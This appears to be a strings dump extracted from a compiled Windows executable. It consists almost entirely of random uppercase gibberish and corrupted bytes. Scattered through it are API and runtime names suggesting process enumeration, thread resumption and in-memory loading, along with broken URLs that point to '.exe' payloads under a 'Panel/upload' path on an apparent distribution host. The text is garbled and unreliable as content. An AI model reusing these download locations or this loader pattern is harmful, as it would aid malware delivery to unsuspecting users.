FZOKHQHSPOU
PFIPCCQJBHRU
& >
gIAFO
PVVBJNY
FVNBTNDMMTCW
VTVZRBOIUBTCCNXNCBBVOVMRTTZ
XKRBLQ
TVIDRGAVLEY
UYUSIAONSNL
AUUXTMHYSGA
BMEAYKBBKUV
YXFLCVYOEI
RTDJZKJYO
TOBBMK
NNODCX
TUNISJYKVCH
LOKFXINMRW
GQJFGDM
WDHVVNQNF
'COVAIAD
VZCKCRDEFIXA
JJBQYLDL
EFDMTCMUVLNW
[Log Starte>q0$%Y$.2d/`
MTYMCJWREC
DRCERICH
LYJOVL
JHVEARZDHADL
INBPLZGAKSPG
ZQIDH
YKVJCA
TFXYJCXJ
ZGIOAEZFXHMP
YCWKLV
KYLQWRXMYFHM
AXTVZHXHCPUL
EPROPYXC
KSZOMSNQIXUY
NUZEAG
SQILEYTIIXBR
CITRGU
XTZJVZY
JNRQJHULQP
AWXWYB
t$Z,
LfmKd
FDI!
TZNOWMGTAUA
WANWHYHQQZI
Xhf}`nllection.com/Panel/temp/#
BMWCQSHFNTP
DYALYFYGTWIN
CVHVLCJEIIPP
ZXSNTYTPNSOZ
QSYYPY
OAESXILBGUFF
XZKBJOYBJZT
JCHPZH
M 8l
FWFKZSHQUM
RPLDHQEBD
ZPPAESJDGHQ
AVXCQA
SNWKRV
TMXLLQUXYKVL
IHXVMS
LFSIGTRDM
ELYSMAQSWRT
NZPSNVCXANKG
SSUCIKKYWUIE
AEUWUT
JUSHWN
CFWUCXIETARK
YTKYUNMXGID
l^ PFRRWDPEMYGU
TOMXHKLNP
CGQCMKXAHNQG
KBDZGHQCZQOH
JYCJODOQFXPL
WQZVPCPYMQLH
XTZRGCVZUHQZ
PAHKLFSBF
AQBFXWPYMZE
ALKTTEWLG
TKKDTBNFU
AFLERJXGOO
GHLHDMSU
PDUPEPUNXA
XPZKBXT
GYWQDS
&r/A
OBECMWHCC
XKEXCTUITGX
MLMKMICUQTW
FFRVYUKYIGMM
WNROUMZKWSS
&r/[
CKJRSDXGAMEB
RIQZAC
IUHBRMZS
YBUAGM
HNIKYAAPJO
ZKJZUEYCNKIT
OHCUTWMCB
jX]^R@EF
9HGGpEd5X
XUHIGWEPI
YBLSFG
HTKQTSXHPI
BIZB
NUXTQAIVKPHQ
& ju
-$i#
&r/a
&r/`
NHELVSPQDKKA
& j{
`YYPWWWXYZcdefghijst#Qds|x
dP VK
}$QR
nXKTG $PBL@JVAFU
MTYODN
GAWTHW
Process32Next
o@ CFWWIWGPCTNS
EJSQXAVSROB
IWPPB
KEPYUD
XPTJIQHAWH
SCWBQIREDVFH
XXEVMWPAKKVJ
& jn
RSTRPDMC
OKRCECVNXHSR
LYBFHI
AFSMKA
ADVCKIVXL
CJTNIXIAMBAU
MLCITXFZWDB
SOSGII
;D$H|
,!g e
RWOAXV
OGHLWKIDWNQ
GWEOLK
q#y%
HSSWEVCOSI
KGOTTQUSBV
NGTFAULYQUX
ELAQSKVEAA
& j1
BWQANT
EQHVCYJCLJL
&r//
HUHOPU
ZJGHZJT
f]XR
VhaldvdProcessA
OZTKJQEQWUMY
QVUF
DUDIJDWJDMR
AXFZELINTWKF
&r/:
&r/<
&r/>
XRVIUMR
ISZESRQEKAH
SWKQRAEJPXYI
DEQSGWIJPPN
PTPRRGBYKK
XQIRS
D$L&
OYWQRB
XDFZJW
VRXBDQTEKUNL
YYJQDCJD
TDTI o
JLPWEKGI
HYDXYFHE
p 1k
DRQBEHNMSY
ZPYKDFFTAHVM
EFLVTN
HCENTP
ZQEWQVAAOBQN
KEFHSKIH
AMQMRZAWDTR
p 1p
FQISQQAKLG
ZYXRUDNNXIQC
PWUPBK
p \>
OIRBEBKEOPP
QRIZ
p 1F
CEXUXMDOO
MXMSUTNTYXFW
}@CVX
JQPGBRRYYPUT
- Xk
KPGOQJX
p 1L
YMBCECCPIVVU
GMPGJT
ETLCW
HfXQ0Nhztza
VFDLXOWC
ZZ^_]
BVQLKX
OVCBNPK
VQFRPIUJFHWM
UCVRHN
XHRGCPICUF
OMRNQADIKWAC
SHNOZXGJVOWZ
RKASVH
CFSEERAQVXS
MVIOAPEOESLA
GROXFQDUWHY
FGXMYVQIXLC
KNZSOLNQKRA
p 1.
MEGSWZXLPYZ
Get _az`luProcessId
nto&_
S=Aod aWgR]
YOCYTK
p 10
XJLPYRKNA
PJZDUH
XYWQRKOZEFFF
BQLB
TCHWBSPTZWJH
p 18
mscore7 pei
MNUDVV
LNRRSP
3WPp9
FUOKALEJ
GPAVWH
d\AMU
9 n<
p \L
CJPGFP
PPEGL
JWVOFH
JOSWVKJRNLMV
Dc`1hG3G3y.Sii
x&N'
TTIGAJK
IWORXY
JSKWJG
CHJOYFE
KHPLHBVHBZ
HQZNHTNGU
HDRVTH
EFYOOV
VZNXDVPHNZL
VHOCTG
ISPYPBSUMAVB
INVMDBFZ
IKUWEPHAVVZ
XYGRT
ILEEBBAOPA
!S_q
WAANSTUNASSH
VEMBCEQ
GWFJVIMQT
%D,
YFLCF
bPSBV
KNVQSELP
GSYZGKGLUHT
GEJMKBEZULZ
KUMGOIWIPFKW
QDWAIG
OAEXAP
EKEWWDIDQIZ
GELEBLLCQHDD
CGQYCHB
JIOMS
KAJIIXCBT
FOMMGX
R)U)
ACSK
GGMSNI
UIAUSJBA
KPKASVMLY
AGEPGGNXFR
VGACEUZZULKT
ULRKN
HRLKJPOSJBZ
IWYHSJMOTH
MFISWQUQKRF
XRZNUNIKRFCB
KM}%
SJPPS
SDZQOIVCURVP
XZPGPZAPZCLD
YJXRIDPHS
hTQL[O
khgCitma($
ZGDUHKU
JWXHNRSRVZTJ
MHAUH
BIMCMALTES
PNDBHZDPZ
WDHMMH
JYMWC
TSUGKDCWMSMW
YTAPTVMMWOHK
NZQJBBIIFZK
CBOZQDDAZ
JERLOSVJFCE
CODVDG
KPZNGJRNQD
ERWQEQDXLJT
fM[@CIB
Jlcs
ZHOEGGMJYQTF
VFYWIARZKBPW
RWWCUOUGMU
ONBMSO
PUGOAODZFSDN
TSVZXPK
DJZQAGPDED
GGUWNFBBLA
RFDNBG
APESMFVAHQ
XWv0
HHNJKVKTU
SBOURSTE
GNQHNKRVFUUQ
RIWTCKZGZOY
%d%s
XEDBMECVFZ
SDGSYWUB
QREIFVB
URTKONSTI
NETWXFKLEM
VETER
ODGYPBOP
uWPGP
HRu
OVIKEH
NZSJKUSIIY
IXRXAD
DAJZADWE
UvjqgGileAT
RPJJLVLDPP
DTGNGLQAR
&rLu
& Ox
GXNXEZ
DDHBORRDW
NFOKOAMYSQ
eCNA
MWYHMCF
NTLIOHBEWT
PIDDWLYVEZ
UWOGVZLXNSML
MCHJWK
MCXARR
IUROPDGULEE
QTVJTW
JCHTQYMXDLGX
EHZNIDB
HZHJN
OXOHWQTAIEYI
& OA
FRJYDGYZ
CPXKJBIGWGC
LXIFDDWGDHVR
HMXDDP
&FmeeDom.Compiler
CQCABKPKSWG
& OV
HJJNUIU
PHDVDCD
V-h}~60
OCNYEV
RRQAHBL
UBZCGNKR
SWRGQYB
BJXAFPZYYNW
OUJKNTHBRMAM
WPSXTSHNBFKM
IRXFQYPE
"^KLXKEYBY
TTYVSLE
MENSPW
MLNRPZYAF
r^KU
DZSIXBLSCH
PVOYNLT
HNNOP
OJMPWBITOZ
AJUMSHP
IHWPJIJFI
MGDNMY
LFZCXP
HNZMOMQQ
MRKOPCPDHI
GGUML
RCDMOCHTDEBC
EYKUMMTMK
POPEIA
BZQDEGQPBG
OQWIK
LXGSJISREIO
MQMZHP
NQQPPOQN
TXUNNYMYTU
QBUWNUEJAD
JJVURI
wxwknnExAN
RizeOfInitializedDat4+F`~g
ZFMTMPZPWSAR
LVZXOEHALQT
HXCMX
KICLJCFG
NKLNSSS
ASBAUF
OQEMGIRU
TWDFUZXPV
YXXUOI
WZZJGC
UHHMXV
p .n
WZXXCDZNH
HNFCYQQNJB
HJMYDJTGIDIZ
FWRXYXLP
NKQDBLLQKJBF
RleepI
KKGMMPVGFY
aQKM
NGKUYCOJFO
JIDUAXPRX
KBYHPEZNCWYQ
CHPRFSWINWYX
p .X
LNCFKJZYQHR
IBPUUW
BDSDWPZJFT
JTEHNN
YKKJFVYZCWG
Q Tl
ZEDOVXG
ZTHTLPVWYHDK
IBRWXR
ADMNZMXN
PWDNAJXKVMG
MKMUEVVFE
HGOXDH
UYEOHCJK
HMYVVYDSPHZH
XUQVCP
DVNMSCBLUWNR
WHBJEBMVVHWJ
WURYVG
BIFGGJY
p y}
CSXTPXWMGBC
RAPGSS
p .;
TWQTWNCOWT
BOXTTG
DUDNWRUKJQQE
WBHTKUNIF
KANKYPOL
OILIQFQWBEQB
SUYEDBILLHDA
kZ[WN
p yn
@&A;0
KQTCFKDWU
FVBZM
rG]W
TFJDRSVSNGWF
p ."
b[Z^
EXPTWEFLVB
PVGVPGKJGU
QBNDVIEKFGJA
NMQUYFFKBB
LFLQO
RTJOAA
WRLPL
XSZIBT
M iSA
DPYKKNLJ
`47
WOKQX
GJYLIOXMB
p .
LVWHBKPVJWP
JGTAZU
DSQACXVKKDIA
GPDAWJRIKHKB
ASQQLZE
NKHOLBB
FGOWOGLNVPT
ECMQORYGPOOB
HPGZKX
NBOOGUMOYMFC
PITSNUVOG
ZWMJJOU
KACYYIARLKJH
ITKBSD
IKLPAJDCUG
YPGFHJJLJZ
RRBTEU
op_Equality
QKYNSZ
MEZPHWRJKWJD
THCXYQ
AEFDCGDFYQLI
& I}
ESZKIVDHDFEX
R9},Rii
VDUUPLNN
JBLBB
XHJXP
UMQUQGEER
YMEGOKUOEM
YLREFS
UPABYKSSSOG
e_cparhdr
i 8i
TAPNDDBQUWUN
FAPFYPHAUWBS
$dVA
DQFBKSTQQROF
PCZTTOGDMHII
WHHBZHKLPAQV
SYOFIFNBJDNL
LZMHOUFCRCYF
XVFGAPMGED
EJWZBCKNJNNB
EGNFIV
BHGJIF
CAGWGRODSEY
XDKHWIRFXFG
DSXCZVDTLX
HGFBSKQVCPFD
XYBDPO
QWGFPN
HOVMFXUQVNRK
BPQVOLLEDCSK
?6[rGOy.Sii
HXIDUP
OVLNEZXVQT
FTIESX
ALOCUFSM
NALNHP
LUKFUUNLCG
IWOBPZ
*JOT[
RGOEW
&ts8 Md02d0
RAGKOC
JRGSIVDCRJ
XJBTRAXGCDDD
.!pr
DOJKEQCEM
& o3
UWPPZJ
WPQWVCAOLDS
LBQFXEPMIKD
OIAKCC
2K7U
JARJCKMY
D- :
JOTJYCDTZOD
YNXRG
IYUZZKNIXPQ
UDHVYGYH
BWSYF
PTSVPXSCQOGJ
QLSXKN
APi5_0dd
I Xo
ARYHMN
LHUKMVWHGDZ
xHRMS
UEVDLUHXOMSI
UXSXXERJN
E{ Gq53l63(
& wK
WTRCVNFC
&riq
MZAHUDRIEG
LUFWVBXUSBAG
&ril
NDQCVBKNOHCE
PPFQIJEQG
RYVKHM
M A
JXIIHMUGHKJ
M E
WTBORPHZD
PRMBFWUCWW
XTLILNHCMH
%6\qIQRSddt';V^$6
DSBBTD kSSH
VNAND
IMBMF
XYOFWBJVBEIL
EPJUCJ
securi ]Zfcm%Aw}mmo
JJYJDDAJHY
VLJRDGRVI lA FW
USYHFN
& ww
!QB@C
fKH^
OHARLEB
&riI
QLXEPE
7OWZ_
*U^SU
XDLEQH
PDXSVHLGOEM
RCWWWU
FMDPTMYHZJG
KQHFMZUQB
EKPNNG
&ri=
JLLQIQFYQVFR
GFNPRCDIMDT
UXTRCKDBX
PATEYKRGAK
TPMXUZ
SCKJEQQKF
-%4
SWQQIPQTJVXG
KUXQWVBYNK
XSASHAFKE
PVGYQAFZBZCY
H`svkfhtAttribute
AOSXCUBBH
M+-
ELUPPOPUAW
HQNFOS
MIXFDSHTWXS
YQHWWY
`vP)
QLLNGFHKBWWU
KCNJYMECPQQ
&ri!
YZAGIUEK
IRQCTIGPLOOV
AELJINFGWRSH
GEKAPJMVDVW
KFFEXYKSHY
IZUYCVBLGOA
NLACGMND
IHTTEMMMXC
ARNIKGIRD
WJSMXE
ASKIXHCTLDCB
SLSAHMA
BDNBJTAXFV
&ri
&ri
x[E\GYhC@LLXE
i&g$o
SDZRBH
FZLQUJ
HCQNNU
TVPFYAREKIH
DXNUBIDA
UWWWFNOBFSPR
QDDRV
|QFT
WNFHGQJZN
QPPDQJX
HFAFGBGXA
YAIJRPQACC
JLHHHAZ
KRYKOAOOEEW
YLHPCG
GTAMBRXVA
ONXNT
qloc
gEGNNXPWVQ
mL ADFCPUAY
cH\VJKDKARU
CGFKTZM
%oG
ZYSNVJ
LTATRUBEEPIH
hYLU
DQDHOF
VLEUNXTVO
YCXPVCLABW
HCKFFRDZB
GJBKIXFXRVB
NYVAXI
WUYIBK
PWQLHACXXJ
XUOFBNLPBG
OBWAHC
MOPXTRHSPR
HDFZKY
VKDLWD
"G@PA
SBTJGPIHLEM
IAIFWWCZJ
Binder
NAFXTLK
ZSGRTUEGSGT
GWLWUXGRIC
dYOM
{ZYLZDGVH
ERITPS
SRUPKHRQHNGD
IISBQHKH
AENYYFESI
x(1
PNXAKZVJUP
EMAEJILBCH
TXXXZQQEGPWN
UFCXTV
XSEDIN
XEGZNAXXEOTO
EOCCT
`tjmpapi.dll
WNHGYJJDCG
LPBPJB
DKPIUD
MRKEYI
WKPAKXCFFFVG
NEWAOVJ
JMIFNHXJQTJ
LNCXVODASFWV
FFAKQI
ZCWBPKZFCUKU
ACEYDLP
NMJODHJ
YPJLCYBLUAU
%o9
LPBNQLXNQVIC
CYUVEBUPE
j@DT
TTSVCANQWCLY
ZGAKWZLJH
ONWPCLWT
RECUGVTM
& v
UQYFIQJBBIG
KVAAHY
HS'lL
YBCIQELFP
m[\VX
%o%
ADFBHZRBEQG
\uonkutp://farizcollection.comw+Vwjk,uemp/upload/2.exePrasenci' Fk6(,garizcollection.com/Panelz Tr})vqload/3.exePrasencihttp:/{
ULSMDQHY
PCZKGYBADEE
KJFAJO
IXSLXVABK
LGWTABLISVS
DASLVZHVIVUF
IUZJFNN
|"@O
TZRUCLYRQSK
LavRystemInfo
ATQRGPBWTN
YEQOIK
|"@T
BTZHFEIYNMHQ
BSJB
CJICV
EPGHCZ
WCWUUZLRSCZW
[RKTNXBFTKWT
CTEDZYYZYOR
'\ u.C!
AX<"
WFOGKSL
D&r[_
EUPGBKBIJIQ
FNKGMZROUFU
WDYALTJM
IVJUXIQWQFOD
PYXDMTODZ
RRMEQYDTF
ZTXVMHVOQ
TIBQOMFAYF
LTGTHEBUSRCF
QHBIGOPDJU
QFSUXORELDD
CHNJC
ZFRMANSGBUT
GSTXXUQ
Z`vDrrorMode
BUNVG
tS1U1Z
BitConverter
VCKPRSB
CPQBTYZPUC
ISUMFV
JOBCPKRKZKT
DataSelector
BAOHA
\STR
WTQIV
KKLCGJQDCHTR
LCPSYZ
IPURGXGHG
nX^F
XZPTEKRZFD
LCTLMY
FPFIUL
IntPtr
LVLTYKKNBLEJ
5,Y'
NJEO
{rI!
TVDPPESGDKMO
SEULY
SVOVWAPGRS
xTBUIPLADD
ZUPOMNMAOX
UTMAAZPSYPTM
ZCWBOC
AOUNPWEAIUV
XZSTD
m6C_fOw{a7P0RcQ88d0
JTJKUE
UGALOL
AGBHSPPH
Qqmb,5.exePrasencihttp://fariz.
GCCTUDTQK
ZAMVZIYLP
NRYBQNZBJZ
&r1V
&r1U
PNIJUA
&r1S
& h[
JOZSUIDOIWC
HPEISSTARKX
DVTMHK
KNSOPZHUKM
UGMKORUKN
HVSCEKQCRZP
RBOVMSZEQHJT
WWXUDMEYSKF
NMOZVINSUWH
HBROKUTENU
QPKLRX
KWUBHWUUR
XOJYYH
IZVYFOPDCIRO
PGKXLXCJQZC
& hx
&r1p
RVZUQWPPAUP
EZLGKKLBzY_VSIAQBLSZ
WVYQNCQ
TLQSXPGDN
YUOCOHUJBR
ROOERM
BLPBJMOURF
&r1e
I +
KGXGGPUZANC
QXTEHV
OBCQJN
&r1m
D$N'
SPLIOMLBRDBY
VDSVOR
TGZGUTBETYUY
OMGHEY
TKKCEXWPJQGK
D$N*
WBFKWH
GTSRZEZ
AGSIFJG
JGCSYGX
MGYNLQKZI
RXQLQPEX
&r1
&r1
EAEDDEIYZ
Cs43l63g4R3
VBWRCSVW
&r16
A9]U1d36Z
XYVGGZKEG
JSNZQUTYFWCG
HAPZUVWSBCK
UBPIELXBQDXZ
CLRYKXLPFIFI
&r1=
Bonvert
JIXAZGWESKKT
MRBMIKO
LIGHFTPEIEZV
UFXGUY
OTAYSETCYDTD
&r1"
&r1
NMZFEANKVFKB
KWYGBEAJESN
&r1,
&r1+
WKYMWSTS
HRVNUGYJFYPR
XNLCDZUTQIVW
ESDJCSCIC
QKAQRC
ADIJLUJMJJKJ
p 3i
SSGJLNGLQDI
,*W!
NKBYFHFTL
NLHOWTDT
RQEJLWGSTTLV
FZNYCAZZSMRK
FVUIVXVUUPO
p ^"
JKQRNWZJIES
ADHHUQ
@ !q$s
AGCME
BKUPQHNHPHAJ
p ^=
POIJTBTWOHSF
YUXMXSYHNA
E <o
UFKRKHPIWOZ
p 3w
" -a
EGSRMPYLD
ACQGXNAZZZQN
IEIABSHXI
MQYUTADT
OWPMAYXPYVU
m T~
D$bM*
CQZCOG
CWHECRGND
ZCQQZISWVB
USVURFH
NZBRTUIFXNR
BDEBHTREVOH
LMGAFEHGORDH
B~{Ucuh
TNJRWYNHUSJC
ZGMRFW
SJCYKACHDZLM
DFJCQFAUNUN
PAWNSVH
ZRDSGFYTOECD
RWJPXRJPK
RPSBEK
KZNIZT
QAZIC
IMAGE_NT_H
NFPVLT
PQ00dR5zdy
LY24O.Sii
tDZEV
GOAYOTKOXMSD
p 3!
CBQQNFZT
86301d3B88A00104B2
p 3>
RZUZZEOHLM
TPZBQAOZVZMW
QQuk
KJGUCUBJ
AHGBXF
TLVTRQJOSUW
CMGITY
KUNSRDIIX
p 32
CRCXG
ADUWLDFGGUU
MMUFQ
CBRKUK
iV BWNCDC
VLDXWKOCWXH
ARAYXCOLMH
PEJDFLHBNLJN
BKYDQSCXDQF
P7@}~ap
EYRKAWOZR
STTQLGDDSQ
UPZBSKTFPWF
TZONYOJQM
p ^Z
,*~-
UEPWSYYZIYR
BKPNKHWVCZ
JSVZUZTDTW
TJRFTQKNQMGH
DQSBWMLDOM
THVICTALFYKF
LQZLLTAT
EFEEFR
NMIOAREC
EKYJOLZEQOZI
SYRWYTQTENL
KRZAFPIVNNM
HEHVHHOCSDJR
QPBRMQAAWVDV
CCIFWKOWZROM
UJVQKYCV
VOOXSLNQA
SKUENIUDKP
SOEYZM
6'| a
NMOGCMIYMHYX
JPPEWCTAHJM
TGVEBV
JZUDXO
GBOJWAIIU
OVDWE
CFZYEL
IFPUCVXMVZSP
GGMBEKMOECP
KQDOKP
NSRFHYGPNO
T$DC
WJIUPS
PTSJKMKILXDPXnB[LDEBFZE
DJGRHHHSH
TZZLW
XNDYXHXTE
ARLTEECY
KTYUNAPZFHAM
CUYONEESDC
XYQOBOX
ZBXSE
QMLPXGXPX
UGWVIOONGX
PHDHSGNFNKA
KCDMOQICUM
KTIFYZPVEHXM
EWEAQZ
CPQQTFPQEAXO
GBIADDIY
kB^GG
OYKEIZBDENG
JDJLHY
NNQLEPSUP
PNWLGCEQYPXY
TGEQLK
DPMMRTWJWJQ
WTSIIIKSAWKZ
BHJPTFCP
EBLNGWGXDZ
EBEAQR
HVROFM
uGX04/fli
YNGBOJLVSJC
EIKQYDBFUDJI
, |u
qDZ
DXYOTA
TRQOIRHXLV
YAFLHJVDOR
WQXVBWDJQYU
BUBJPIQSEWTQ
ZBJZBZICWK
RZDXXBKJWQZ
CkodNex=a
CTEZHKVRWUUB
NSRXT
FXELODCZ
MFPPZXRZLOHL
IUGUBKDUSP
FPVDPTZJTKKM
KDJQOEESFA
FETE
LUVZERSN
GSJCZ
GLDICDHYOYTC
STZEJ
SMBHAPZBBZ
PFEOQ
RQLUYP
ZBRSYFDEWXTD
% \`
PXARMJIROT '\EGN
QABNPVTVLVPL
f T'
WHBWKFTE
QFQKHTEEEDT
MKXBXQIRWPML
LNAZDB
WPPQPYRJIPH
JMHQDN
SVCXJHYB
IJKYTC
ZGOGMJJARRMG
JJKWT
&rNz
&rNx
RTOULNPRLP
MSFAZLEOQBLJ
NEERZWM
VYKRXSPELGU
WJALXU
PIKBKOGRUSEO
ZTGBTHDVDZ
LOTACYEEVYF
HISGHBBWUWQT
D$LX-
PMSFSNTB
PLOYHXKSWBH
}D J[
CQNXWZ
UEWOLJ
RSVLNZ
PCOTOO
TJTGIPGBDM
ETSFOUONL
VSKXDO
RUGCVV
OMHXIULXGEU
MAVTVVXC
MANGEMF
GFBOLAAN
MEYMPRXTEWU
GCKISE
(`
YLAMAWCUGLFT
rF[B
ZIBMBWYAZKNA
AMOXZZPLZQY
EEQWBJYZ
OEFQIS
MVVVQGJCWQ
HMRBAYADU
OFWTVBPSCSSE
XDHOVEYCMA
LHLBDM
KVPTUF
ZCFHEPJ
QUTDNM
YVWTSIEEMZYK
CZUYYWVWERKQ
WriteAllBytes
JYEJPCL
NTKHSPZGE
ISBWHXPOYLWW
WUTFCJ
QJHJJDXKGVEB
N<Tgh4
HUAMDERjTBQFMRNXF
DLKAIQNULXU
FCPVBTUSETI
PRXZLB
IECGMU
QIUWQOTH
RSWQNZ
MHGKKIZBJDV
TGSZD
n:x
FFERVI
& M
,SK]Z
GTAMQOTVPKGU
CTSJBAOBKPU
SVLAVZTLNVP
WWWTRWSVXJYW
%rI
PJURSNE
;JT[_
IKIMRRXBIX
GFYWAMXLJA
Cry5^Coig`seContext
YVIHCS
WLEVUTE
%]UA
CGNKWLTQRCLC
%"3017
QAMQZY
CMZKJ
$FOA
CTGVIBVAV
XYEEGYAFQ
MFJDEEGWHM
PAANJSLNUMO
[Xs_
KWZTAOKTNMG
ZITPMILWLOVI
IHJFRL
EBUIOIQ
2 T'
p {k
UAYHBTSYW
TEXZLOXcROHC
ZZYNCBS
NDRTHFG
YYBXKM
J"4z
g[HWN
CKVTZMBRDVE
E%;`2
NKVAUGRSS
ZJRBG
ISVPU
YRTFEXXDCGUF
SEGMXNODMZ
bVISL
HNHSJLCOPED
^?Ylk
HINESO
FDGIAXWCNWOK
ERIFZHJWNIF
OUPSDVDATC
ROZKWKHIWESY
XHGDALCCG
URMHDQXQJSMY
URAQOD
RBHNSHKC
UZDKI
VAZNBURSOOCU
EVRHJCQUVNC
WGWXARIMZC
IVDKHCFERXCK
BBMQUX
NPQPLJPEYAG
GEDRKFARAHA
p {'
FMRONZ
V, yOA
ITDFCNUKWXGY
QQJMOR
GGXYTNTREY
QUJJLGEVVSZI
RXZNMUZTWOB
GZMXME
VNVFQH
System.Diagnos=Nux
SFBI
KKJESZCFKLG
DZRBVNCA
HTOWFEO
EUKYOSLZC
BIZHTP
XBXGS
DFJCEV
GZXQTZ v]MCTY|\DMEW
EGBKRWUKVEUU
JCFVUPAVBYAQ
OBJFCMCECY
DNZJLA
YPVKPD
KPWCXIZBIE
NMYV
R@STUJ
AFLHUDX
&rxt
QRYAOR
MVAFMIKTKZTS
KTGNGQMVTK
D$P%
IGWEKS
ESKOKESFK
r] G@XTH
AppDomain
DPXKSAITC
PZZHNCLTROUV
VJVHFQNJUQQQ
IDEL p
LBUJLDJM
NYASNG
XOGZMLVSZL
GNYSZHWW
RHKTFATSP
LWNNGGTBTRYC
USVDYIREEAGV
MRKSUS
EKQWPLHGTFX
FDQRKZKOA
QSOMBQPYH
OBTFMM
Ar43l6kN"[7[153Q54i45Z3iG3G}P<Ymk
JQFANT
RQUNAQYEWHYJ
XNQLDYPBWMGW
JWYQQY
TVDCULOZXVEJ
WERSVFXFKD
KMDKJF
RSBZSMTVFUVT
FEUXQVJHAUBO
CVYRLISOLZ
SBUQVLIEEROO
IBKZKVPDRE
QLBBEZLJ
RSWUPHYDEL
YLYQV
~=5Ak
WFMICSQZ
WMWRLVASMFX
GCQZCNBNYJOP
$dH%
TPDZYMVnTZCHOB
Z]SRFFQFKMM
IQZCQFNPGATE
VWMKMTIXXHL
JYKEQF
( `u
oLOAP
KTUREDVUJQXY
iUJ]WYS
haga
TRQKECACXHZ
CGGUFEHFTY
INFQIV
EHGJOP
BFYLYIQUURD
EOERVLRCT
FCKSJZ
QJXGOW
JJZGYXHIKDPY
get_Id
EINAAGSYPHJP
ETIUFK
GLHOFFLIRIO
QSORVR
KQBSUR
HRIXXZY
BONXUJE
! <Principals> srgaka!Qwe%ke="Author"> <
CJLYKWH
PVUXVZTSZMWY
RDEVTITYFQRL
$ Dg
YVAVAGUDYN
VGHKER
DERAQBFHI
ITMGOXGBSAM
QEIHCWLQZS
IKESCNWDKNE
XPJYWK
y>5N
kB]V
& I7
VTDMBZI
& uQ
EWBIRYSKN
ACTNQM
HCKZHLFLRAO
REFPGRDVGOPV
MKMGYHPUBVZR
MXAFBCSSD
CAGBANNBUU
LGCMWK
YPSWYZWQ
EZNCVXCV
CINTWF
GKIAHH
RKFSDIWCESY
%cYA
& u~
PUNS
BJGFDZGIBNON
NWPKEPZVMV
G1RAjwc>Calvq
*x v
DCVTBWZJ
eQ@W
LJRXPX
8Zlk
CHNAEFSXCK
GWILHC
NQOACHXPSMNU
JBVCHU
DHGJGKJPQS
*S h
Dr)0
BYUXEMVZUD
ECRRHSTRQDWW
DVURPIJTK
MVBGZYJECCU
CVZUGKK
YQRKAO
PPVVPVFOWKJ
QFCLTM
OTODIEZCDYI
& u/
NDQZZAFEDVJL
YXNZGL
ResumeThread
e .:T$(
JMGBTXPAYQ
SVVJEPVSO
r^SO
KRJOMPGJYIHO
DAXUGVZKSO
ONNFRI
ZPTSJDMO
NCULHRIWLXCY
VLYODYNWZWUC
FCMHDQHTYEXN
OREUWTQRPBXK
YEWNLIJ
JVJEAFQ rLCW
a^]RRPCOB
YRHKQJMOSVCE
AQDZGUNQHOES
EOGKATCQRDRE
AYFVIQUOCH
LPGXQEXT
VPQHDQBFPZ
&rk
\Wb
LIXBCSMOPOO
QNJHWBZJF
VYMHUMSRYGBO
FVTYEHPWWMFU
-m "%s"
CPXBREJIUEUD
SGPFHDRAV
FGUQPVXF
MWSRUROWEWJ
BJLUUR
& ./
String
,`MA
MT_q
GWPTVRGRSLBJ
NXHRDN
LZGULMLKAZ
&rk(
CJUZURXY
&rk5
NOUOIRBKONWN
ZPUOKGOW
HDLZJAYXFEAM
& .:
&rk2
LNTYSZKHORZN
&rk>
HZGUFYECACG
MDDQLY
YYQDYHFINZHD
UMELKFYABB
WKRMZYSOSXBU
{C\S
BNSUEUXDWOWR
EJQKWJAGYO
WNEMLDKOSN
THGYR
Q!Ts
DLVLZE
&rkQ
JVCDUMJJPCSK
XLVDCAGOZS
QQCWGEIRFJZK
& .V
SRADNXMNTIF
fR@KX
WDAZUZJI b
MHDEXTRNWDPV
OJMFDSL
d^ I[FOKBHPE
IZTSVXTCOQA
WBHYKA
}RAM[IK
JFTGZRIEB
EOZEMS
ZLQKRAUK
TZMOEKBINR
JWOUPMSJPAK
&rkk
YARHEJKFD
KYTVPXX
DIECWMYFMRMJ
) x|
UCJ rS AXIFD
ZKPFDF
NFVPIW
IRDSPB
YDJCGUSRYKN
ZFXHRWQYRCP
BODOCIFP
MGESBTEXN
MUHJGFTFOOPD
XBYMAULEVQU
GHPQBQTBOQZ
LMPTVMIWOIJ
MZRBDB
SKLDMSRVMAUM
RQPLEM
VPEPAZYFTCGZ
ZIOSIJ
VTYXLDHFGE
WCIGMZLZOPQR
CQCTZVKOKBA
fopen
YFFFLO
JMLNUXYZVDRU
FPGXVVQ
IZSOXQNLY
FJSTOHIHKE
kPCKWPLOX
CCVSBGKUP
AROSRJJVFOY
FGXROMK
YLHGPZRATIU
@NTKMFOBEY
KULKTA
YPCQRRLFUYPG
OLXJVWAXTX
IXHEAUVGVN
UEPWOJQLCEM
HAKBJDGZUFWI
KUWKH
hT_ULJQS
LNXPFTZS
ULPIDW
WPXCHC
FFKYM
WLBFRX
HWEYNC
FBEBQZESISOX
KSGNEV
WSIBCLGLGKWE
MWQHDED
RNCVZP
AHIDZWFMHWZI
QIPENN
IAMJBTTLYFJP
MUINIX
HUXLPWKCSU
GSTDIELWIYKA
NZOQLFKPPZ
GOKSJC
Load
oGPL
DDXKYECOPGAQ
FMTUIJ
GCTTJSITD
TYLTHTXRS
MPXLWG
EZVRR
CLXJVWZAEGA
PWJZCJ
RYHOEHNDK
YNNGBVWEULUE
MAKYAAPVMRVS
JXAKQKFWYFI
OXLIDN
CQHVUFXYYBSY
HGXZEYXOV
KLITZMRN
DZLWUPXRJJ
QXNRC
IPDMEXDOFT
MYOIXU
QHHUOTCIIALM
BPPDPGTFQZK
ISPUKDYYYSBn@@^G
& Va
ANXBYWVUKXAT
OEMCQCCDR
TJEZTCFYLR
PWMPGSRSOIML
*}C
GKJLZL
WAVCZQMULZZF
UEXPXXPJZGK
TRUNHIQWTUEN
&r3K
ISGWSYOAZOXK
DFRH aFC\
&r3F
LKPCSW
EYZOHTBYJRM
MKCRN
EFDBRFBJSIHD
MZXTXYDYSFZY
SOURIQONNFLH
DFCLDCAHUIPQ
D$@H
PZUPJK
GPNZTKLJ
EKXZWC
DQGNBE
_Y-
OKGTTVYRXORP
CMEXZO
&r3l
YPSYGU
EVIWMH
NFOVPURAQ
FVICJDW
DSand7Dm`a
ZNMMZV
PAXVPPOKSQLB
NUC yB
SNDUOA
GSSKNHGRXR
ORYMH
& V'
UEQLNTK
DSUOJWKDN
QNUMN
MzFEHhQq %6:%S -qq9/Gt]
LHZCPJCIKEXG
D$@!
EROFLNTDLTBX
DRJRPZUIHNL
RCFOZNi]ARET
VODOEJKQULR
APIDYHBSURWH
D$@:
